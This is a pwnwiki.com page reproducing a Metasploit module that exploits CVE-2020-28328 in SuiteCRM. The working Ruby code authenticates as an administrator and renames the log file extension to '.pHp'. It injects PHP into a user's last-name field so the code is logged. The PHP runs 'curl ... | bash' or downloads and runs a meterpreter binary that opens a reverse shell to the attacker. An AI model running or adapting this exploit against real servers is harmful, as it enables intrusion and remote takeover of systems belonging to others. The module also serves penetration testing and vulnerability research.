Loading
0

CVE-2020-28328 SuiteCRM Log File 远程代码执行漏洞

pwnwiki.com

,

MSF模块

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::CmdStager
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SuiteCRM Log File Remote Code Execution',
        'Description' => %q{
          This module exploits an input validation error on the log file extension parameter. It does
          not properly validate upper/lower case characters. Once this occurs, the application log file
          will be treated as a php file. The log file can then be populated with php code by changing the
          username of a valid user, as this info is logged. The php code in the file can then be executed
          by sending an HTTP request to the log file. A similar issue was reported by the same researcher
          where a blank file extension could be supplied and the extension could be provided in the file
          name. This exploit will work on those versions as well, and those references are included.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          
            'M. Cory Billington' # @_th3y
          ,
        'References' =>
          
            'CVE', '2020-28328', # First CVE
            'EDB', '49001', # Previous exploit, this module will cover those versions too. Almost identical issue.
            'URL', 'https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/', # First exploit
            'URL', 'https://theyhack.me/SuiteCRM-RCE-2/' # This exploit
          ,
        'Platform' => %wlinux unix,
        'Arch' => %wARCH_X64 ARCH_CMD ARCH_X86,
        'Targets' =>
        
          
            'Linux (x64)', {
              'Arch' => ARCH_X64,
              'Platform' => 'linux',
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
              }
            }
          ,
          
            'Linux (cmd)', {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix',
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          
        ,
        'Notes' =>
        {
          'Stability' => CRASH_SAFE,
          'SideEffects' => ARTIFACTS_ON_DISK, IOC_IN_LOGS,
          'Reliability' => REPEATABLE_SESSION
        },
        'Privileged' => true,
        'DisclosureDate' => '2021-04-28',
        'DefaultTarget' => 0
      )
    )

    register_options(
      
        OptString.new('TARGETURI', true, 'The base path to SuiteCRM', '/'),
        OptString.new('USER', true, 'Username of user with administrative rights', 'admin'),
        OptString.new('PASS', true, 'Password for administrator', 'admin'),
        OptBool.new('RESTORECONF', false, 'Restore the configuration file to default after exploit runs', true),
        OptString.new('WRITABLEDIR', false, 'Writable directory to stage meterpreter', '/tmp'),
        OptString.new('LASTNAME', false, 'Admin user last name to clean up profile', 'admin')
      
    )
  end

  def check
    authenticate unless @authenticated
    return Exploit::CheckCode::Unknown unless @authenticated

    version_check_request = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'module' => 'Home',
          'action' => 'About'
        }
      }
    )

    return Exploit::CheckCode::Unknown("#{peer} - Connection timed out") unless version_check_request

    version_match = version_check_request.body/
      Version
      \s
      \d{1} # Major revision
      \.
      \d{1,2} # Minor revision
      \.
      \d{1,2} # Bug fix release
      /x

    version = version_match.partition(' ').last

    if version.nil? || version.empty?
      about_url = "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&action=About"
      return Exploit::CheckCode::Unknown("Check #{about_url} to confirm version.")
    end

    patched_version = Rex::Version.new('7.11.18')
    current_version = Rex::Version.new(version)

    return Exploit::CheckCode::Appears("SuiteCRM #{version}") if current_version <= patched_version

    Exploit::CheckCode::Safe("SuiteCRM #{version}")
  end

  def authenticate
    print_status("Authenticating as #{datastore'USER'}")
    initial_req = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'module' => 'Users',
          'action' => 'Login'
        }
      }
    )

    return false unless initial_req && initial_req.code == 200

    login = send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'keep_cookies' => true,
        'vars_post' => {
          'module' => 'Users',
          'action' => 'Authenticate',
          'return_module' => 'Users',
          'return_action' => 'Login',
          'user_name' => datastore'USER',
          'username_password' => datastore'PASS',
          'Login' => 'Log In'
        }
      }
    )

    return false unless login && login.code == 302

    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'keep_cookies' => true,
        'vars_get' => {
          'module' => 'Administration',
          'action' => 'index'
        }
      }
    )

    auth_succeeded?(res)
  end

  def auth_succeeded?(res)
    return false unless res

    if res.code == 200
      print_good("Authenticated as: #{datastore'USER'}")
      if res.body.include?('Unauthorized access to administration.')
        print_warning("#{datastore'USER'} does not have administrative rights! Exploit will fail.")
        @is_admin = false
      else
        print_good("#{datastore'USER'} has administrative rights.")
        @is_admin = true
      end
      @authenticated = true
      return true
    else
      print_error("Failed to authenticate as: #{datastore'USER'}")
      return false
    end
  end

  def post_log_file(data)
    send_request_cgi(
      {
        'method' => 'POST',
        'uri' => normalize_uri(target_uri, 'index.php'),
        'ctype' => "multipart/form-data; boundary=#{data.bound}",
        'keep_cookies' => true,
        'headers' => {
          'Referer' => "#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Configurator&action=EditView"
        },
        'data' => data.to_s
      }
    )
  end

  def modify_system_settings_file
    filename = rand_text_alphanumeric(8).to_s
    extension = '.pHp'
    @php_fname = filename + extension
    action = 'Modify system settings file'
    print_status("Trying - #{action}")

    data = Rex::MIME::Message.new
    data.add_part('SaveConfig', nil, nil, 'form-data; name="action"')
    data.add_part('Configurator', nil, nil, 'form-data; name="module"')
    data.add_part(filename.to_s, nil, nil, 'form-data; name="logger_file_name"')
    data.add_part(extension.to_s, nil, nil, 'form-data; name="logger_file_ext"')
    data.add_part('info', nil, nil, 'form-data; name="logger_level"')
    data.add_part('Save', nil, nil, 'form-data; name="save"')

    res = post_log_file(data)
    check_logfile_request(res, action)
  end

  def poison_log_file
    action = 'Poison log file'
    if target.arch.first == 'cmd'
      command_injection = "<?php `curl #{@download_url} | bash`; ?>"
    else
      @meterpreter_fname = "#{datastore'WRITABLEDIR'}/#{rand_text_alphanumeric(8)}"
      command_injection = %(
        <?php `curl #{@download_url} -o #{@meterpreter_fname};
        /bin/chmod 700 #{@meterpreter_fname};
        /bin/sh -c #{@meterpreter_fname};`; ?>
      )
    end

    print_status("Trying - #{action}")

    data = Rex::MIME::Message.new
    data.add_part('Users', nil, nil, 'form-data; name="module"')
    data.add_part('1', nil, nil, 'form-data; name="record"')
    data.add_part('Save', nil, nil, 'form-data; name="action"')
    data.add_part('EditView', nil, nil, 'form-data; name="page"')
    data.add_part('DetailView', nil, nil, 'form-data; name="return_action"')
    data.add_part(datastore'USER', nil, nil, 'form-data; name="user_name"')
    data.add_part(command_injection, nil, nil, 'form-data; name="last_name"')

    res = post_log_file(data)
    check_logfile_request(res, action)
  end

  def restore
    action = 'Restore logging to default configuration'
    print_status("Trying - #{action}")

    data = Rex::MIME::Message.new
    data.add_part('SaveConfig', nil, nil, 'form-data; name="action"')
    data.add_part('Configurator', nil, nil, 'form-data; name="module"')
    data.add_part('suitecrm', nil, nil, 'form-data; name="logger_file_name"')
    data.add_part('.log', nil, nil, 'form-data; name="logger_file_ext"')
    data.add_part('fatal', nil, nil, 'form-data; name="logger_level"')
    data.add_part('Save', nil, nil, 'form-data; name="save"')

    post_log_file(data)

    data = Rex::MIME::Message.new
    data.add_part('Users', nil, nil, 'form-data; name="module"')
    data.add_part('1', nil, nil, 'form-data; name="record"')
    data.add_part('Save', nil, nil, 'form-data; name="action"')
    data.add_part('EditView', nil, nil, 'form-data; name="page"')
    data.add_part('DetailView', nil, nil, 'form-data; name="return_action"')
    data.add_part(datastore'USER', nil, nil, 'form-data; name="user_name"')
    data.add_part(datastore'LASTNAME', nil, nil, 'form-data; name="last_name"')

    res = post_log_file(data)

    print_error("Failed - #{action}") unless res && res.code == 301

    print_good("Succeeded - #{action}")
  end

  def check_logfile_request(res, action)
    fail_with(Failure::Unknown, "#{action} - no reply") unless res

    unless res.code == 301
      print_error("Failed - #{action}")
      fail_with(Failure::UnexpectedReply, "Failed - #{action}")
    end

    print_good("Succeeded - #{action}")
  end

  def execute_php
    print_status("Executing php code in log file: #{@php_fname}")
    res = send_request_cgi(
      {
        'uri' => normalize_uri(target_uri, @php_fname),
        'keep_cookies' => true
      }
    )
    fail_with(Failure::NotFound, "#{peer} - Not found: #{@php_fname}") if res && res.code == 404
    register_files_for_cleanup(@php_fname)
    register_files_for_cleanup(@meterpreter_fname) unless @meterpreter_fname.nil? || @meterpreter_fname.empty?
  end

  def on_request_uri(cli, _request)
    send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })
    print_good("#{peer} - Payload sent!")
  end

  def start_http_server
    start_service(
      {
        'Uri' => {
          'Proc' => proc do |cli, req|
            on_request_uri(cli, req)
          end,
          'Path' => resource_uri
        }
      }
    )
    @download_url = get_uri
  end

  def exploit
    start_http_server
    authenticate unless @authenticated
    fail_with(Failure::NoAccess, datastore'USER'.to_s) unless @authenticated
    fail_with(Failure::NoAccess, "#{datastore'USER'} does not have administrative rights!") unless @is_admin
    modify_system_settings_file
    poison_log_file
    execute_php
  ensure
    restore if datastore'RESTORECONF'
  end
end

免费、自由、人人(PwnWiki.Com)可编辑的漏洞库